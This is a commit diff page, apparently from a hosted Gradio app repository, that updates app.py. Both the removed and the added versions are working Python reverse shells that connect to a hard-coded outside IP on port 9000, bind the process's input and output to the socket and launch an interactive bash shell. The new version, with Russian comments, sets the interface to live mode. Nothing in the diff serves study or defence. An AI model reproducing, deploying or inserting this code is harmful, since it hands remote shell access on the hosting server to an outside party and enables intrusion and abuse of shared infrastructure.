dana56 commited on
Commit
5bba42f
·
verified ·
1 Parent(s): 40bfa27

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +19 -30
app.py CHANGED
@@ -2,39 +2,28 @@ import gradio as gr
2
  import socket
3
  import subprocess
4
  import os
5
- import threading
6
- import time
7
 
8
- def run_reverse_shell():
9
- def shell_thread():
10
- ip = '45.155.205.202'
11
- port = 9000
12
 
13
- while True:
14
- try:
15
- s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
16
- s.connect((ip, port))
17
- s.send(b"Connected to reverse shell.\n")
18
- os.dup2(s.fileno(), 0)
19
- os.dup2(s.fileno(), 1)
20
- os.dup2(s.fileno(), 2)
21
- subprocess.call(['/bin/bash', '-i'])
22
- s.close()
23
- break
24
- except Exception as e:
25
- print(f"Connection failed: {e}. Retrying in 3 seconds...")
26
- time.sleep(3)
27
 
28
- shell = threading.Thread(target=shell_thread)
29
- shell.start()
30
- return "Reverse shell has been initiated."
 
31
 
32
- iface = gr.Interface(
33
- fn=run_reverse_shell,
34
- inputs=None,
35
- outputs="text",
36
- title="Reverse Shell Initiator",
37
- description="Click the button to initiate a reverse shell."
38
- )
39
 
 
 
 
 
 
 
40
  iface.launch()
 
2
  import socket
3
  import subprocess
4
  import os
 
 
5
 
6
+ def start_reverse_shell():
7
+ # IP и порт, на который будет отправлен реверси шел
8
+ RHOST = '45.155.205.202' # Замените на IP вашей машины
9
+ RPORT = 9000 # Замените на порт вашей машины
10
 
11
+ # Создаем сокет
12
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
13
+ s.connect((RHOST, RPORT))
 
 
 
 
 
 
 
 
 
 
 
14
 
15
+ # Перенаправляем стандартные потоки ввода/вывода/ошибок в сокет
16
+ os.dup2(s.fileno(), 0)
17
+ os.dup2(s.fileno(), 1)
18
+ os.dup2(s.fileno(), 2)
19
 
20
+ # Запускаем шел
21
+ subprocess.call(["/bin/bash", "-i"])
 
 
 
 
 
22
 
23
+ return "Reverse shell started!"
24
+
25
+ # Создаем интерфейс Gradio
26
+ iface = gr.Interface(fn=start_reverse_shell, inputs=None, outputs="text", live=True)
27
+
28
+ # Запускаем интерфейс
29
  iface.launch()